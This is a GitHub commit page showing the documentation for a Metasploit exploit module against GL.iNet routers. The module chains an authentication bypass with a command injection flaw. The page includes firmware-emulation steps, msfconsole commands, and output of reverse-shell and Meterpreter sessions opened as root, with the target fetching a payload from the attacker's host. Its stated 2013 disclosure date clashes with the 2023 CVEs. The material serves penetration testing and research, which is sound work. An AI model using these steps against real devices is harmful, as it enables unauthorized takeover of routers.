Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #18648, Add Module for GL.iNet products
This PR adds an exploit module for a number of different GL.iNet network products. The module combines an auth by-pass CVE-2023-50919 with an RCE CVE-2023-50445.
- Loading branch information
Showing
2 changed files
with
631 additions
and
0 deletions.
There are no files selected for viewing
319 changes: 319 additions & 0 deletions
319
documentation/modules/exploit/linux/http/glinet_unauth_rce_cve_2023_50445.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,319 @@ | ||
## Vulnerable Application | ||
A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker to inject and execute | ||
arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log` interface in the `logread` module. | ||
This exploit requires post-authentication using the `AdminToken` cookie / session ID (`SID`), typically stolen by the attacker. | ||
|
||
However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication through a `Lua` | ||
string pattern matching and SQL injection vulnerability. | ||
The `AdminToken` cookie / `SID` can be retrieved without knowing a valid username and password. | ||
|
||
The following GL.iNet network products are vulnerable: | ||
- A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0; | ||
- MT6000: v4.5.0 - v4.5.3; | ||
- MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7; | ||
- E750/E750V2, MV1000: v4.3.8; | ||
- X3000: v4.0.0 - v4.4.2; | ||
- XE3000: v4.0.0 - v4.4.3; | ||
- SFT1200: v4.3.6; | ||
- and potentially others (just try ;-) | ||
|
||
## Installation | ||
Ideally, to test this module, you would need a vulnerable GL.iNet device. | ||
However, by downloading the firmware and install and use `FirmAE` to emulate the router, | ||
we can simulate the router and test the vulnerable endpoint. | ||
|
||
This module has been tested via FirmAE running on Kali Linux 2023.11 at the following emulated targets: | ||
* GL.iNet Router model AR300M with firmware v4.3.7 | ||
* GL.iNet Router model AR300M16 with firmware v4.3.7 | ||
* GL.iNet Router model MT300N-V2 with firmware v4.3.7 | ||
* GL.iNet Router model MT1300 with firmware v4.3.7 | ||
|
||
### Installation steps to emulate the router firmware with FirmAE | ||
* Install `FirmAE` on your Linux distribution using the installation instructions provided [here](https://github.com/pr0v3rbs/FirmAE). | ||
* To emulate the specific firmware that comes with the GL.iNet devices, `binwalk` might need to be able to handle a sasquatch filesystem. | ||
* Find the additional installation/compilation steps [here](https://gist.github.com/thanoskoutr/4ea24a443879aa7fc04e075ceba6f689). | ||
* Please do not forget to run this after your `FirmAE` installation otherwise you will not be able to extract the firmware. | ||
* Download the vulnerable firmware from GL.iNet [here](https://dl.gl-inet.com/?model=ar300m16). | ||
* We will pick `openwrt-ar300m16-4.3.7-0913-1694589994.bin` for the demonstration. | ||
* Start emulation. | ||
* First run `./init.sh` to initialize and start the Postgress database. | ||
* Start a debug session `./run.sh -d GL.iNet /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin` | ||
* This will take a while, but in the end you should see the following... | ||
|
||
```shell | ||
# ./run.sh -d GL.iNet /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin | ||
[*] /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin emulation start!!! | ||
[*] extract done!!! | ||
[*] get architecture done!!! | ||
mke2fs 1.47.0 (5-Feb-2023) | ||
mknod: /dev/console: File exists | ||
e2fsck 1.47.0 (5-Feb-2023) | ||
[*] infer network start!!! | ||
|
||
[IID] 91 | ||
[MODE] debug | ||
[+] Network reachable on 192.168.1.1! | ||
[+] Run debug! | ||
Creating TAP device tap91_0... | ||
Set 'tap91_0' persistent and owned by uid 0 | ||
Bringing up TAP device... | ||
Starting emulation of firmware... 192.168.1.1 true false 11.438110994 -1 | ||
/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13 | ||
import telnetlib | ||
[*] firmware - openwrt-ar300m16-4.3.7-0913-1694589994 | ||
[*] IP - 192.168.1.1 | ||
[*] connecting to netcat (192.168.1.1:31337) | ||
[-] failed to connect netcat | ||
------------------------------ | ||
| FirmAE Debugger | | ||
------------------------------ | ||
1. connect to socat | ||
2. connect to shell | ||
3. tcpdump | ||
4. run gdbserver | ||
5. file transfer | ||
6. exit | ||
> 1 | ||
/ # | ||
/ # ifconfig | ||
ifconfig | ||
br-lan Link encap:Ethernet HWaddr 52:54:00:12:34:56 | ||
inet addr:192.168.8.1 Bcast:192.168.8.255 Mask:255.255.255.0 | ||
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 | ||
RX packets:392 errors:0 dropped:0 overruns:0 frame:0 | ||
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 | ||
collisions:0 txqueuelen:0 | ||
RX bytes:33970 (33.1 KiB) TX bytes:0 (0.0 B) | ||
|
||
eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56 | ||
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 | ||
RX packets:427 errors:0 dropped:0 overruns:0 frame:0 | ||
TX packets:44 errors:0 dropped:0 overruns:0 carrier:0 | ||
collisions:0 txqueuelen:1000 | ||
RX bytes:42072 (41.0 KiB) TX bytes:5068 (4.9 KiB) | ||
|
||
eth1 Link encap:Ethernet HWaddr 52:54:00:12:34:57 | ||
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 | ||
RX packets:0 errors:0 dropped:0 overruns:0 frame:0 | ||
TX packets:940 errors:0 dropped:0 overruns:0 carrier:0 | ||
collisions:0 txqueuelen:1000 | ||
RX bytes:0 (0.0 B) TX bytes:321480 (313.9 KiB) | ||
|
||
lo Link encap:Local Loopback | ||
inet addr:127.0.0.1 Mask:255.0.0.0 | ||
inet6 addr: ::1/128 Scope:Host | ||
UP LOOPBACK RUNNING MTU:65536 Metric:1 | ||
RX packets:0 errors:0 dropped:0 overruns:0 frame:0 | ||
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 | ||
collisions:0 txqueuelen:0 | ||
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) | ||
|
||
/ # netstat -rn | ||
netstat -rn | ||
Kernel IP routing table | ||
Destination Gateway Genmask Flags MSS Window irtt Iface | ||
192.168.8.0 0.0.0.0 255.255.255.0 U 0 0 0 br-lan | ||
``` | ||
* You should now be able to `ping` the network address 192.168.8.1 from your host. | ||
* Run a `nmap` command to check the services (HTTP TCP port 80). | ||
* NOTE: please check your tap network interface on your host because it might have the wrong IP setting. | ||
* You can change this with: `ip a del 192.168.1.2/24 dev tap91_0` and `ip a add 192.168.8.2/24 dev tap91_0`. | ||
```shell | ||
# ifconfig tap91_0 | ||
tap91_0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 | ||
inet 192.168.1.2 netmask 255.255.255.0 broadcast 0.0.0.0 | ||
inet6 fe80::6c06:aff:fefb:ab29 prefixlen 64 scopeid 0x20<link> | ||
ether 6e:06:0a:fb:ab:29 txqueuelen 1000 (Ethernet) | ||
RX packets 39 bytes 4692 (4.5 KiB) | ||
RX errors 0 dropped 0 overruns 0 frame 0 | ||
TX packets 50 bytes 4044 (3.9 KiB) | ||
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 | ||
``` | ||
```shell | ||
# ping 192.168.8.1 | ||
PING 192.168.8.1 (192.168.8.1) 56(84) bytes of data. | ||
64 bytes from 192.168.8.1: icmp_seq=1 ttl=64 time=9.2 ms | ||
64 bytes from 192.168.8.1: icmp_seq=2 ttl=64 time=3.18 ms | ||
^C | ||
--- 192.168.8.1 ping statistics --- | ||
2 packets transmitted, 2 received, 0% packet loss, time 1001ms | ||
rtt min/avg/max/mdev = 2.384/5.650/8.916/3.266 ms | ||
# nmap 192.168.8.1 | ||
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-03 14:47 UTC | ||
Nmap scan report for 192.168.8.1 | ||
Host is up (0.020s latency). | ||
Not shown: 997 closed tcp ports (reset) | ||
PORT STATE SERVICE | ||
53/tcp open domain | ||
80/tcp open http | ||
443/tcp open https | ||
MAC Address: 52:54:00:12:34:57 (QEMU virtual NIC) | ||
``` | ||
You are now ready to test the module using the emulated router hardware on IP address `192.168.8.1`. | ||
## Verification Steps | ||
- [x] Start `msfconsole` | ||
- [x] `use exploit/linux/http/glinet_unauth_rce_cve_2023_50445` | ||
- [x] `set rhosts <ip-target>` | ||
- [x] `set lhost <ip-attacker>` | ||
- [x] `set target <0=Unix Command, 1=Linux Dropper>` | ||
- [x] `exploit` | ||
You should get a `shell` or `Meterpreter`. | ||
```shell | ||
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > info | ||
|
||
Name: GL.iNet Unauthenticated Remote Command Execution via the logread module. | ||
Module: exploit/linux/http/glinet_unauth_rce_cve_2023_50445 | ||
Platform: Unix, Linux | ||
Arch: cmd, mipsle, mipsbe, armle | ||
Privileged: Yes | ||
License: Metasploit Framework License (BSD) | ||
Rank: Excellent | ||
Disclosed: 2013-12-10 | ||
|
||
Provided by: | ||
h00die-gr3y <h00die.gr3y@gmail.com> | ||
Unknown | ||
DZONERZY | ||
|
||
Module side effects: | ||
ioc-in-logs | ||
artifacts-on-disk | ||
|
||
Module stability: | ||
crash-safe | ||
|
||
Module reliability: | ||
repeatable-session | ||
|
||
Available targets: | ||
Id Name | ||
-- ---- | ||
=> 0 Unix Command | ||
1 Linux Dropper | ||
|
||
Check supported: | ||
Yes | ||
|
||
Basic options: | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
Proxies no A proxy chain of format type:host:port[,type:host:port][...] | ||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | ||
RPORT 80 yes The target port (UDP) | ||
SID no Session ID | ||
SSL false no Negotiate SSL/TLS for outgoing connections | ||
SSLCert no Path to a custom SSL certificate (default is randomly generated) | ||
URIPATH no The URI to use for this exploit (default is random) | ||
VHOST no HTTP server virtual host | ||
|
||
|
||
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: | ||
|
||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen o | ||
n all addresses. | ||
SRVPORT 8080 yes The local port to listen on. | ||
|
||
Payload information: | ||
|
||
Description: | ||
A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker | ||
to inject and execute arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log` | ||
interface in the `logread` module. | ||
This exploit requires post-authentication using the `Admin-Token` cookie/sessionID (`SID`), typically stolen | ||
by the attacker. | ||
However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication | ||
through a `Lua` string pattern matching and SQL injection vulnerability. The `Admin-Token` cookie/`SID` can be | ||
retrieved without knowing a valid username and password. | ||
|
||
The following GL.iNet network products are vulnerable: | ||
- A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0; | ||
- MT6000: v4.5.0 - v4.5.3; | ||
- MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7; | ||
- E750/E750V2, MV1000: v4.3.8; | ||
- X3000: v4.0.0 - v4.4.2; | ||
- XE3000: v4.0.0 - v4.4.3; | ||
- SFT1200: v4.3.6; | ||
- and potentially others (just try ;-) | ||
|
||
NOTE: Staged Meterpreter payloads might core dump on the target, so use stage-less Meterpreter payloads | ||
when using the Linux Dropper target. | ||
|
||
References: | ||
https://nvd.nist.gov/vuln/detail/CVE-2023-50445 | ||
https://nvd.nist.gov/vuln/detail/CVE-2023-50919 | ||
https://attackerkb.com/topics/3LmJ0d7rzC/cve-2023-50445 | ||
https://attackerkb.com/topics/LdqSuqHKOj/cve-2023-50919 | ||
https://libdzonerzy.so/articles/from-zero-to-botnet-glinet.html | ||
https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Using%20Shell%20Metacharacter%20Injection%20via%20API.md | ||
|
||
|
||
View the full module info with the info -d command. | ||
``` | ||
## Options | ||
### SID | ||
This is the SessionID (`SID`) which you need for authentication. | ||
The module will exploit and grab the `SID` autmatically, but you can also provide it manually by using this option. | ||
## Scenarios | ||
### FirmAE GL.iNet AR300M16 Router Emulation Unix Command - cmd/unix/reverse_netcat | ||
```shell | ||
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 0 | ||
target => 0 | ||
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit | ||
|
||
[*] Started reverse TCP handler on 192.168.8.2:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[*] Checking if 192.168.8.1:80 can be exploited. | ||
[!] The service is running, but could not be validated. Product info: |4.3.7|n/a | ||
[*] SID: NsPHdkXtENoaotxVZWLqJorU52O7J0OI | ||
[*] Executing Unix Command for cmd/unix/reverse_netcat | ||
[*] Command shell session 8 opened (192.168.8.2:4444 -> 192.168.8.1:53167) at 2024-01-03 11:12:18 +0000 | ||
|
||
pwd | ||
/ | ||
id | ||
uid=0(root) gid=0(root) groups=0(root),65533(nonevpn) | ||
uname -a | ||
Linux GL- 4.1.17+ #28 Sat Oct 31 17:56:39 KST 2020 mips GNU/Linux | ||
exit | ||
``` | ||
### FirmAE GL.iNet AR300M16 Router Emulation Linux Dropper - linux/mipsbe/meterpreter_reverse_tcp | ||
```shell | ||
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 1 | ||
target => 1 | ||
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit | ||
|
||
[*] Started reverse TCP handler on 192.168.8.2:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[*] Checking if 192.168.8.1:80 can be exploited. | ||
[!] The service is running, but could not be validated. Product info: |4.3.7|n/a | ||
[*] SID: Gs2KPnIsIQQUzHQkEBVN8JOcq5nV008e | ||
[*] Executing Linux Dropper for linux/mipsbe/meterpreter_reverse_tcp | ||
[*] Using URL: http://192.168.8.2:1981/OrfVHM15cua0w | ||
[*] Client 192.168.8.1 (curl/7.88.1) requested /OrfVHM15cua0w | ||
[*] Sending payload to 192.168.8.1 (curl/7.88.1) | ||
[*] Meterpreter session 9 opened (192.168.8.2:4444 -> 192.168.8.1:48511) at 2024-01-03 08:30:52 +0000 | ||
[*] Command Stager progress - 100.00% done (117/117 bytes) | ||
[*] Server stopped. | ||
|
||
meterpreter > getuid | ||
Server username: root | ||
meterpreter > sysinfo | ||
Computer : 192.168.8.1 | ||
OS : (Linux 4.1.17+) | ||
Architecture : mips | ||
BuildTuple : mips-linux-muslsf | ||
Meterpreter : mipsbe/linux | ||
meterpreter > | ||
``` | ||
## Limitations | ||
Staged Meterpreter payloads might core dump on the target, so use stage-less Meterpreter payloads when using the Linux Dropper target. |
Oops, something went wrong.